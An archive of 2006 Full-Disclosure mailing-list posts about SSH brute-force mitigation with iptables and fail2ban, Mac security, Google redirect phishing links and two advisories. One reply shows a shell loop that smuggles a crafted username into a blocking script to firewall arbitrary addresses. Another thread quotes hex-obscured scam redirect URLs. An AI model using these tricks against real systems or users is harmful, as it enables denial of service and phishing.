Extra padding for a big attack, part of a botnet, just a bunch of scriptkiddies in a desperate need of attention... There are many reasons, and most don't really have to do with you I think. (Big bad wolf can't be really big bad wolf-ish btw when you can only attempt a login every x seconds :-P) P.S. No offence ever taken. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force log
On Tue, Feb 28, 2006 at 10:52:27AM -0600, Bob Radvanovsky wrote: I am going to test these rules out -- this looks REALLy good! But...I've got just ONE question: why on Earth would you permit ICMP??? (Outgoing) echo requests and port-unreachable responses (to UDP packets), just to name a couple. Source quench and redirect are both powerful, but also more than a little dangerous to allow. And what significances are ports 50, 51, 1599, 1600 and 1601? 443 and 80 are HTTP-S and HTTP (respectively), 123 is NTP -- I realize that, but what are these others ports used for? We are talking about IP *protocols* 50 and 51, which are ESP and AH - the IPsec protocols. The 1599-1601 ports are used to open/close the ssh port, as explained in the article linked. This firewall configuration should work as advertised. Of course, restricting logins to public key authentication should work, and has the added advantage that one does not try to login from yet another keylogger-infected Windows box. Joachim -r *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] :RH-Firewall-1-INPUT - [0:0] -A INPUT -j RH-Firewall-1-INPUT -A FORWARD -j RH-Firewall-1-INPUT -A RH-Firewall-1-INPUT -i lo -j ACCEPT -A RH-Firewall-1-INPUT -s 10.0.0.0/24 -j ACCEPT -A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT -A RH-Firewall-1-INPUT -p 50 -j ACCEPT -A RH-Firewall-1-INPUT -p 51 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -m recent --rcheck --name SSH -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 123 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1599 -m recent --name SSH --remove -j DROP -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1600 -m recent --name SSH --set -j DROP -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1601 -m recent --name SSH --remove -j DROP -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited COMMIT - Original Message - From: Matthijs van Otterdijk [mailto:[EMAIL PROTECTED] To: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] reduction of brute force login attempts via SSHthrough iptables --hashlimit I haven't tried this myself, and I don't know if it is already suggested, but this should stop all the pesky scriptkiddies from filling up your logs. Might prove to be a better solution, who knows: http://aplawrence.com/Security/sshloginattack.html Matthijs ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Question about Mac OS X 10.4 Security
On 2/28/06, Stef [EMAIL PROTECTED] wrote: On 2/28/06, Paul Schmehl [EMAIL PROTECTED] wrote: Still, the ignorance of Mac users, who believe their platform is somehow magically secure will contribute to the problem. snip I am sorry, Paul, but I have to take you up on this, especially with your tendency of generalizing everything. I have used *nix in the snip ... so the Mac users are not [only] the bunch of idiots/ignorants whom you tend to describe - I would just invite you to attend a blackhat or shmoocon, or even SANS or Cisco networkers, and let me know how many Mac users you can count there ... and then ask yourself why ... but then, again, I may be wrong ; Stef Stef, You're describing your own experiences, and those of other security professionals. What Paul is describing is the normal user. I agree with him that the normal user thinks that because they have a Mac, they are suddenly immune to everything. As an example, a good friend of mine has been using an iBook and an iMac for several years, and likes to talk about how she doesn't have to deal with all the viruses and problems that her Windows using friends have. When I asked, she had never done a single update on her computers, because she didn't think she needed to. I've since convinced her to check for updates on a weekly basis, which while not perfect, has at least kept her patched. Mike ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Question about Mac OS X 10.4 Security
--On Tuesday, February 28, 2006 11:03:12 -0600 Stef [EMAIL PROTECTED] wrote: If you look at the [very, very] specific paragraph I was referring to, from Paul's email, then I hope you will agree with me that what I was trying to convey was the need to avoid generalizing categorization of users ... having said that, the implications are that a much higher awareness, and - in turn - possibility of addressing and/preventing issues related to vulnerabilities exists in the Mac community, vs. the Windows one, for example. Let's see. I use Windows XP, Mac OS 10.3.9 and FreeBSD 5.4 SECURITY daily. Therefore all three platforms obviously have a much higher awareness of security issues, right? At least that *seems* to be your logic. The fact is, as a community, Mac users have the belief that their system is secure - that they have nothing to worry about. *Of course* there are Mac users that are astute and fully understand the risks. Just as there are Windows users who are the same way. Just because the geeks have taken to the Mac OS doesn't mean its community has raised its level of awareness more than a nanometer or two. In fact, when I sent a campus-wide announcement about the recent shell vulnerability, the *majority* of comments that I got from users *within* IT was, You're spreadying FUD. Mac's are not anywhere near as risky as using Windows. Professors and others emailed me asking, What do I need to do to be safe? If you think the Mac you're using is secure, I encourage you to go try to run the poc that Secureiteam posted. Just be sure to bring a clean pair of drawers with you. I've used Windows since it first came out. I've never had a single virus infection, never had a single machine hacked, never had an incident of any kind. Does that mean Windows is secure? Of course not! The idea that, because you are using a Mac, you have less to worry about, is just as silly as the idea that, because you're using Unix, you have less to worry about. Guess which platform get's hacked the most here? (Hint - it ain't Windows.) In *general*, the hosts that are the most risk are the ones that are the most poorly maintained (if they're maintained at all), and the OS they are running is irrelevant. There's only one OS that I know of, on this campus, that has never been hacked, and it has nothing to do with the OS and everything to do with how it's maintained and how it's protected (and no, I ain't telling you what it is.) Paul Schmehl ([EMAIL PROTECTED]) Adjunct Information Security Officer University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/ir/security/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: Google + Amazon fun scam
[EMAIL PROTECTED] wrote: If i remember I saw on this list a post wich was warning about faking scam links within google.com domain. I got this scam today: [SCAM]http://google.com/url?sa=ppref=igpval=2q=http://wielrenneninlimburg.nl/forum/www.amazon.com/index.html[/SCAM] wich is pretty easy to discover but I have tried a variant wich the scammer probably forgot to use to grow his fooling possiblities: [SCAM]http://google.com/url?sa=ppref=igpval=2q=%68%74%74%70%3A%2F%2F%77%69%65%6C%72%65%6E%6E%65%6E%69%6E%6C%69%6D%62%75%72%67%2E%6E%6C%2F%66%6F%72%75%6D%2F%77%77%77%2E%61%6D%61%7A%6F%6E%2E%63%6F%6D%2F%69%6E%64%65%78%2E%68%74%6D%6C[/SCAM] This is the exact same vuln really, calling it a variant seems to be slightly exaggerated. should be nasty to scam google services or anything other via this way. the scammer will hide its domain + steal google.com domain. The scammer will do no such thing, that's a very ordinary redirect and the browser's address bar will show the scammer's domain and have nothing to do with google. You should have tried it out before you said this! Here's a couple of safe examples for you to try and see for yourself that it hides nothing and steals nothing. http://google.com/url?sa=ppref=igpval=2q=http://news.bbc.co.uk http://google.com/url?sa=ppref=igpval=2q=%68%74%74%70%3A%2F%2F%77%77%77%2E%62%62%63%2E%63%6F%2E%75%6B%2F I don't think this is much use for a scam; sure, it can to hide the real destination address, but it doesn't let you replace it with a bogus one, and besides, if you get an email from your bank telling you to update your account but the link says google.com, isn't that /more/ likely to make people suspicious and less likely to fool them then if it just had a domain name in plain text that was just very-similar-but-not-quite-the-same as the real bank name? cheers, DaveK -- Can't think of a witty .sigline today ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] Re: Google + Amazon fun scam
If anything, it's probably best suited (and even then, not very well) to steal authentication information for Google Services by replicating a login page. Still a stretch. [EMAIL PROTECTED] wrote: If i remember I saw on this list a post wich was warning about faking scam links within google.com domain. I got this scam today: [SCAM]http://google.com/url?sa=ppref=igpval=2q=http://wielrenneninl imburg.nl/forum/www.amazon.com/index.html[/SCAM] wich is pretty easy to discover but I have tried a variant wich the scammer probably forgot to use to grow his fooling possiblities: [SCAM]http://google.com/url?sa=ppref=igpval=2q=%68%74%74%70%3A%2F%2 F%77%69%65%6C%72%65%6E%6E%65%6E%69%6E%6C%69%6D%62%75%72%67%2E%6E%6C%2F %66%6F%72%75%6D%2F%77%77%77%2E%61%6D%61%7A%6F%6E%2E%63%6F%6D%2F%69%6E% 64%65%78%2E%68%74%6D%6C[/SCAM] This is the exact same vuln really, calling it a variant seems to be slightly exaggerated. should be nasty to scam google services or anything other via this way. the scammer will hide its domain + steal google.com domain. The scammer will do no such thing, that's a very ordinary redirect and the browser's address bar will show the scammer's domain and have nothing to do with google. You should have tried it out before you said this! Here's a couple of safe examples for you to try and see for yourself that it hides nothing and steals nothing. http://google.com/url?sa=ppref=igpval=2q=http://news.bbc.co.uk http://google.com/url?sa=ppref=igpval=2q=%68%74%74%70%3A%2F%2F%77%77%77%2E%62%62%63%2E%63%6F%2E%75%6B%2F I don't think this is much use for a scam; sure, it can to hide the real destination address, but it doesn't let you replace it with a bogus one, and besides, if you get an email from your bank telling you to update your account but the link says google.com, isn't that /more/ likely to make people suspicious and less likely to fool them then if it just had a domain name in plain text that was just very-similar-but-not-quite-the-same as the real bank name? cheers, DaveK -- Can't think of a witty .sigline today ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force log
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Yo Bob! On Tue, 28 Feb 2006, Bob Radvanovsky wrote: I am going to test these rules out -- this looks REALLy good! But...I'v e got just ONE question: why on Earth would you permit ICMP??? No ICMP means no P-MTU. No P-MTU mean non-working tunnels. You want to shoot yourself in the foot, tben go ahead and block ICMP. RGDS GARY - --- Gary E. Miller Rellim 20340 Empire Blvd, Suite E-3, Bend, OR 97701 [EMAIL PROTECTED] Tel:+1(541)382-8588 Fax: +1(541)382-8676 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2.1 (GNU/Linux) iD8DBQFEBK9J8KZibdeR3qURAvwAAJ9Ch+I69KUX6khjcVBHVzrATEfB3ACgw4O4 BQ19Hd2H4WDXLJQNEqf5qLk= =rGZb -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force log
Yeah...I didn't see that. I thought those were ports. My bad... :(( - Original Message - From: Joachim Schipper [mailto:[EMAIL PROTECTED] To: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] reduction of brute force log On Tue, Feb 28, 2006 at 10:52:27AM -0600, Bob Radvanovsky wrote: I am going to test these rules out -- this looks REALLy good! But...I've got just ONE question: why on Earth would you permit ICMP??? (Outgoing) echo requests and port-unreachable responses (to UDP packets), just to name a couple. Source quench and redirect are both powerful, but also more than a little dangerous to allow. And what significances are ports 50, 51, 1599, 1600 and 1601? 443 and 80 are HTTP-S and HTTP (respectively), 123 is NTP -- I realize that, but what are these others ports used for? We are talking about IP *protocols* 50 and 51, which are ESP and AH - the IPsec protocols. The 1599-1601 ports are used to open/close the ssh port, as explained in the article linked. This firewall configuration should work as advertised. Of course, restricting logins to public key authentication should work, and has the added advantage that one does not try to login from yet another keylogger-infected Windows box. Joachim -r *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] :RH-Firewall-1-INPUT - [0:0] -A INPUT -j RH-Firewall-1-INPUT -A FORWARD -j RH-Firewall-1-INPUT -A RH-Firewall-1-INPUT -i lo -j ACCEPT -A RH-Firewall-1-INPUT -s 10.0.0.0/24 -j ACCEPT -A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT -A RH-Firewall-1-INPUT -p 50 -j ACCEPT -A RH-Firewall-1-INPUT -p 51 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -m recent --rcheck --name SSH -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 123 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1599 -m recent --name SSH --remove -j DROP -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1600 -m recent --name SSH --set -j DROP -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1601 -m recent --name SSH --remove -j DROP -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited COMMIT - Original Message - From: Matthijs van Otterdijk [mailto:[EMAIL PROTECTED] To: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit I haven't tried this myself, and I don't know if it is already suggested, but this should stop all the pesky scriptkiddies from filling up your logs. Might prove to be a better solution, who knows: http://aplawrence.com/Security/sshloginattack.html Matthijs ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit
Hello, i made a small bash script last year to block those bruteforce attempts automatically via the firewall. In case someone is interested, i released it on our website. Someone may have a use for it :-) http://www.groundzero-security.com/code/bruteforce-block.sh Have a nice day everyone! -sk GroundZero Security Research and Software Development http://www.groundzero-security.com Wir widersprechen der Nutzung oder Übermittlung unserer Daten für Werbezwecke oder für die Markt- oder Meinungsforschung (§ 28 Abs. 4 BDSG). pub 1024D/69928CB8 2004-09-27 Stefan Klaas [EMAIL PROTECTED] sub 2048g/2A3C7800 2004-09-27 Key fingerprint = A93E 41F8 7E82 5F2C 3E76 41F1 4BCF 3096 6992 8CB8 -BEGIN PGP PUBLIC KEY BLOCK- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org mQGiBEFX440RBADGTKOgZR9Y9VA/cfNLWTIN/OmXe9l6UZJ6pY8Hqcv6DFE//Kt9 UfQMU470i+I7SvIHZN066Kl4ts4r90sLxXrE4r5VQCLTsJM68cliatrM8MbbZZs+ xf3ldelZrHNvHkXDk4I/n3O56F9M6tZ/S71AIj++raIbFX57fn8Z8NNOnwCgwDr6 LDVP+5N4DML1/+uvXNtoL30D/A/GUXd6lJ8i7MoZMzwKk1uwDsgWwP+Wm0hMwJMr fR/di9K55pGdlGFNO5P2L3qOl2BaC8raNkLcXaweW+bao3P66nzpdtmecsjCMWq2 tQWgu/O7S1FgzlUAKJSOc2Th5PY9Raum8bXnSv4gnHZCKjNskIdrz8WDxCzEoPtZ eCssA/9ydHRvNIPjOTmzjXoE+UbJrB/U//u3dpAsLkzclKeSgjV2eYUgHGcqYn+H cFoubD78yFWqZqYtxfiyjBlItsIn9ls0gAZFKDFHd1XfOLFSa0/NHNpHLxCZGFIA tQ0Gp47VRmTPkWJ7lB505w0XioNs1H/1K1RSp++7+t1SNkBlobQpU3RlZmFuIEts YWFzIDxza0Bncm91bmR6ZXJvLXNlY3VyaXR5LmNvbT6IVwQTEQIAFwUCQVfjjQUL BwoDBAMVAwIDFgIBAheAAAoJEEvPMJZpkoy4AnYAmwTot1PMUty1YoCuMVg6cpr7 HKy1AJ98jyzD365YkIQAEiihXlQJ4zrxBLkCDQRBV+OvEAgAiu75prsTQZdNijtY eMQhl4tEL8qi8JOFluYGnvPYjDzU0PY9E4mNx/w2BgYcM3lTVzSmaiLEJ1AzeOHn w+pLDWsorRZuVI9q3+ExW3s2yFX4ppdHAVBMuYsQyVJRkbobCkcwTbUYXr23pKzh D8WRAJ991k2lNcQHxMgixAN+55XBFLhwLB0Yz7XmhFYLid5dLxdPllLIV3ZHDeY0 SEqMSpw96+gV0QpX7YH9U2VBr3Wz7Ss6qNZkcgHQw1xmk6Yy24QnT4a9oZD06Yjr cCocXnyI/YLW1wXo/6Hh44UH3b9mKUX6eh8ybn7QCnZDG7AdxbglLiPTkdcx0YoT NANZBwADBwf8CrjVKiXSzyhUsdH1es1KQCZ/zH6PvPzdxqYuGuVVMzgaJeeOMS2G 4rLfw2ILahAS0fjng6zX2c1ndPVJ6oAq3IygWsqJH6Uh23NmKTlyx3KtSgyW7YsB Rn/4wobuojArTHTl+X3U4JZTUEb9E4osB9bFjdsgXcxNSwXghQMh1x5eS5/fcjLd tACNq0x2/zh8zTJFHK+oNCLY2+iBjTUn7K03rEhQo6HqbPYwyc3LUCwBuFHFDVWp bZqa4knO0H5BBmbiI09kaVPOs0qRLXCAf1oy9PxK5ZBJ4WfQAnMAU+TuNrTuW2SU NMh92TCELdDpl/pMDbbBGeJdMvXZmY99HIhGBBgRAgAGBQJBV+OvAAoJEEvPMJZp koy4p1QAoIaYw3VxA0/mixUsMO4R13sXIL/pAJ9zodR+A9+bLqCRlVusG8JhItv1 Ow== =E0o1 -END PGP PUBLIC KEY BLOCK- Diese E-Mail kann vertrauliche Informationen enthalten. Wenn Sie nicht der richtige Adressat sind oder diese E-Mail irrtümlich erhalten haben, informieren Sie bitte sofort den Absender und vernichten Sie diese E-Mail. Das unerlaubte Kopieren sowie die unbefugte Weitergabe dieser E-Mail oder von Teilen dieser E-Mail ist nicht gestattet. This E-mail might contain confidential information. If you are not the right addressee or you have recived this Mail in error, please inform the Sender as soon as possible and delete this E-Mail immediately. You are not allowed to make any copies or relay this E-Mail. - Original Message - From: Jay Libove [EMAIL PROTECTED] To: full-disclosure@lists.grok.org.uk Sent: Tuesday, February 28, 2006 2:23 AM Subject: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit Quite some time back, I posted a question here about brute force login attempts through SSH which had recently become a noticeable annoyance. There was some discussion here on the list, someone suggested using hashlimit, and I think the issue of brute force attempts through SSH has become just one more part of the background noise of the Internet. I finally got back around to looking at this on my system, and I figured out why my first attempts at using the hashlimit functionality in iptables had not worked. Hopefully late is better than never, so I present it here to anyone else who was as stupid and/or lazy as I was :) so that it took me this long to get back to work on it and get it right. Here is an iptables command to allow inbound SSH with a quite low limit on the number of connections which may arrive from a specific IP address in a short period of time. Combined with the default setting of OpenSSH which drops a connection after just a few failed login attempts, this has reduced the number of failed logins I am seeing in my nightly logwatch output from thousands to about ten per day. Since this use of hashlimit filters on source IP address, it does not create a denial of service against legitimate SSH connections, unless someone spoofs a very large range of source addresses and can somehow get those connections to actually open instead of just consume partly open TCP sessions. In such a case, other defenses are needed anyway. # iptables --table filter -A INPUT --protocol tcp --source 0/0 \ --destination-port ssh -m hashlimit --hashlimit 2/minute \ --hashlimit-burst 3 --hashlimit-mode srcip --hashlimit-name ssh \ -m state --state NEW --jump ACCEPT The
Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi, was fail2ban ( http://fail2ban.sourceforge.net/ ) already mentioned? It works like -sk's script. It searches your auth.log (or wherever your sshd messages go to) for all typical sshd failure-messages. After a user-defined count of n login failures from one IP where counted in x user-defined seconds, it bans all traffic from that IP for t seconds via iptables. After t seconds the rule will be automatically delete. On my Debian Sarge server it works quite well. (Included in Debian Etch, Gentoo and RedHat packages are also available.) But I haven't tested if fail2ban is vulnerable against DoS-Attacks, for example if you spoof your IP with the IP of the gateway your server is directly connected to. And then try to login via ssh on $victim_host with the IP of $gateway. - Would have the side-effect that ALL incoming traffic will be dropped, as long as the rule stays active. iptables -L output shows the following for fail2ban chain: # Before - Empty ruleset # Chain fail2ban-SSH (1 references) target prot opt source destination RETURN all -- anywhere anywhere # After adding an IP to banlist # Chain fail2ban-SSH (1 references) target prot opt source destination DROP all -- shell.xx.de anywhere RETURN all -- anywhere anywhere Though, the iptables-commands can be easily changed in /etc/fail2ban.conf (look for fwban). Just my 2 cents, Christian Khark Lauf - -- Christian Khark Lauf [EMAIL PROTECTED] GPG: 0x6AADC60A | IRCnet/silcnyet: Khark silcnyet-Fingerprint: 9424 E3BF B637 E1FC E355 BA7C 01CC 1B68 3A1C E330 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) iD8DBQFEBMSUAaLWKGqtxgoRApY8AJ47D5FfQ/bgIeZ6NSO9YF5hA6IarwCcDdQZ ohVxfnuF+8FCfMbPYjHtgL4= =KpTi -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit
On 2/28/06, GroundZero Security [EMAIL PROTECTED] wrote: Hello, i made a small bash script last year to block those bruteforce attempts automatically via the firewall. In case someone is interested, i released it on our website. Someone may have a use for it :-) http://www.groundzero-security.com/code/bruteforce-block.sh Have a nice day everyone! -sk That is remarkably shoddy coding from a security research and software developer. *NEWS FLASH* most platforms allow login names to contain spaces. $ for ((i=0;i5;i++)); do ssh -l j00 ar3 l4m3 222.173.190.239 idiot.running.this.script.com done And i just added an arbitrary address to your firewall, fun! ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities
Renaud Lifchitz wrote: Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities We believe this to be a testing error. The problem of loading remote iframe and css content was fixed prior to the release of Mozilla Thunderbird 1.0 The testcase included in the advisory contains the iframe and css content in-line with the message. That will always be shown as there is no privacy issue with doing so and does not demonstrate the remote loading issue claimed. Once a user has pressed the Show Images button--not the best label since it covers all remote content--that state is stored in the mailbox metadata/index file (.msf) and the remote content will then be loaded on future viewings. If the .msf file is not deleted between tests this could give the appearance of the bug described in the advisory. There is a minor residual privacy issue if people whose mail you keep and reread are setting webbugs on you (your boss could find out how many times you read his memo?), but in most cases your privacy is fully blown once you load the remote content the first time. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit
well i somehow felt someone will be pedantic over it. its a quick script originally thrown together in a few minutes for personal use and wasn't really intended to be released, i just thought it may help someone. besides that this is ment to stop those bruteforce attempts which *all* have more than enough users without spaces they try. or do you know anyone that does ssh bruteforce by hand? you may be able to add a bogus ip (wow your l33t), but it wouldnt be of any use so... instead of beeing a smartass why dont you provide a better solution for the people who are annoyed by those bruteforce attacks? - Original Message - From: Gary Leons [EMAIL PROTECTED] To: GroundZero Security [EMAIL PROTECTED] Cc: Jay Libove [EMAIL PROTECTED]; full-disclosure@lists.grok.org.uk Sent: Tuesday, February 28, 2006 10:52 PM Subject: Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit On 2/28/06, GroundZero Security [EMAIL PROTECTED] wrote: Hello, i made a small bash script last year to block those bruteforce attempts automatically via the firewall. In case someone is interested, i released it on our website. Someone may have a use for it :-) http://www.groundzero-security.com/code/bruteforce-block.sh Have a nice day everyone! -sk That is remarkably shoddy coding from a security research and software developer. *NEWS FLASH* most platforms allow login names to contain spaces. $ for ((i=0;i5;i++)); do ssh -l j00 ar3 l4m3 222.173.190.239 idiot.running.this.script.com done And i just added an arbitrary address to your firewall, fun! ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit
On 2/28/06, GroundZero Security [EMAIL PROTECTED] wrote: you may be able to add a bogus ip (wow your l33t), but it wouldnt be of any use so... Uhh, no use? -s accepts a netmask as well as addresses, it's not just add a bogus ip, I can effectively kick your machine off the network. Apart from that the code looks very flimsy, I'll bet there's an arbitrary command execution in there somewhere. instead of beeing a smartass why dont you provide a better solution for the people who are annoyed by those bruteforce attacks? Why dont you parse the output of lastb -i, dumbass. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities
Daniel Veditz wrote: [a plain text message] Just got half a dozen bounces because my plain-text email supposedly contained Suspicious I-Frame.a (Malicious Mobile Code) virus. Those of you behind McAfee GroupShield barriers may not be getting the whole conversation here if people can't even use words like i-frame in plain text without being suppressed as a virus. (remove the hyphen in i-frame throughout) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ MDKSA-2006:051 ] - Updated gettext packages fix temporary file vulnerabilities
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDKSA-2006:051 http://www.mandriva.com/security/ ___ Package : gettext Date: February 28, 2006 Affected: Corporate 3.0, Multi Network Firewall 2.0 ___ Problem Description: The Trustix developers discovered temporary file vulnerabilities in the autopoint and gettextize scripts, part of GNU gettext. These scripts insecurely created temporary files which could allow a malicious user to overwrite another user's files via a symlink attack. The updated packages have been patched to address this issue. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0966 ___ Updated Packages: Corporate 3.0: 3e90a65b63c6cef50ea2362b97d601af corporate/3.0/RPMS/gettext-0.13.1-1.3.C30mdk.i586.rpm 88645a36cc137b6d15baff31df84bb5f corporate/3.0/RPMS/gettext-base-0.13.1-1.3.C30mdk.i586.rpm 122cf7a4d0173cd80c3c6a388b76ec5a corporate/3.0/RPMS/gettext-devel-0.13.1-1.3.C30mdk.i586.rpm d9e9d121c5833e80c9bbd642af24fb40 corporate/3.0/RPMS/gettext-java-0.13.1-1.3.C30mdk.i586.rpm 7aa6d70debb3c1814333fca662e23cac corporate/3.0/RPMS/libgettextmisc-0.13.1-1.3.C30mdk.i586.rpm cfe279f682d65f910505e069b911d7c7 corporate/3.0/RPMS/libintl2-0.13.1-1.3.C30mdk.i586.rpm fc15df73311804bf0fd371fa9682c0c5 corporate/3.0/SRPMS/gettext-0.13.1-1.3.C30mdk.src.rpm Corporate 3.0/X86_64: c3648f970e7794014773ddedd68eaf91 x86_64/corporate/3.0/RPMS/gettext-0.13.1-1.3.C30mdk.x86_64.rpm d876576394822262df7e2351775c1aaa x86_64/corporate/3.0/RPMS/gettext-base-0.13.1-1.3.C30mdk.x86_64.rpm af77cf6ee5a7d238ec122fbc4af7d353 x86_64/corporate/3.0/RPMS/gettext-devel-0.13.1-1.3.C30mdk.x86_64.rpm 1173d049f6621cd8ff8d0396d24eb097 x86_64/corporate/3.0/RPMS/gettext-java-0.13.1-1.3.C30mdk.x86_64.rpm f757f8a584bfc7ebd99d13a92415241b x86_64/corporate/3.0/RPMS/lib64gettextmisc-0.13.1-1.3.C30mdk.x86_64.rpm ecb7b9c26a607287c10f12bc70d5ffa9 x86_64/corporate/3.0/RPMS/lib64intl2-0.13.1-1.3.C30mdk.x86_64.rpm fc15df73311804bf0fd371fa9682c0c5 x86_64/corporate/3.0/SRPMS/gettext-0.13.1-1.3.C30mdk.src.rpm Multi Network Firewall 2.0: bf7a130a64632e27c4c0e35bcce1838d mnf/2.0/RPMS/gettext-0.13.1-1.3.M20mdk.i586.rpm 26b569b31b5786eb3dc90c466ad42951 mnf/2.0/RPMS/gettext-base-0.13.1-1.3.M20mdk.i586.rpm 513319968508b7d6c22135aed2a4ebcf mnf/2.0/RPMS/gettext-devel-0.13.1-1.3.M20mdk.i586.rpm 8ebc491dd574ec6e9624776b39adb08e mnf/2.0/RPMS/gettext-java-0.13.1-1.3.M20mdk.i586.rpm d7efcc35298ade62c0d21b75cec11d35 mnf/2.0/RPMS/libgettextmisc-0.13.1-1.3.M20mdk.i586.rpm d0993ab7f263642207f1ae95f4861525 mnf/2.0/RPMS/libintl2-0.13.1-1.3.M20mdk.i586.rpm 76fec48911a57db5edad551ae40cb3d1 mnf/2.0/SRPMS/gettext-0.13.1-1.3.M20mdk.src.rpm ___ To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com ___ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team security*mandriva.com -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFEBKdDmqjQ0CJFipgRAhZHAJ9pXeM/Z7BFLAZ1zymn5CDFGiDNjQCgyy01 o5an648yuWxgj8BfvaEBjws= =aKl0 -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: 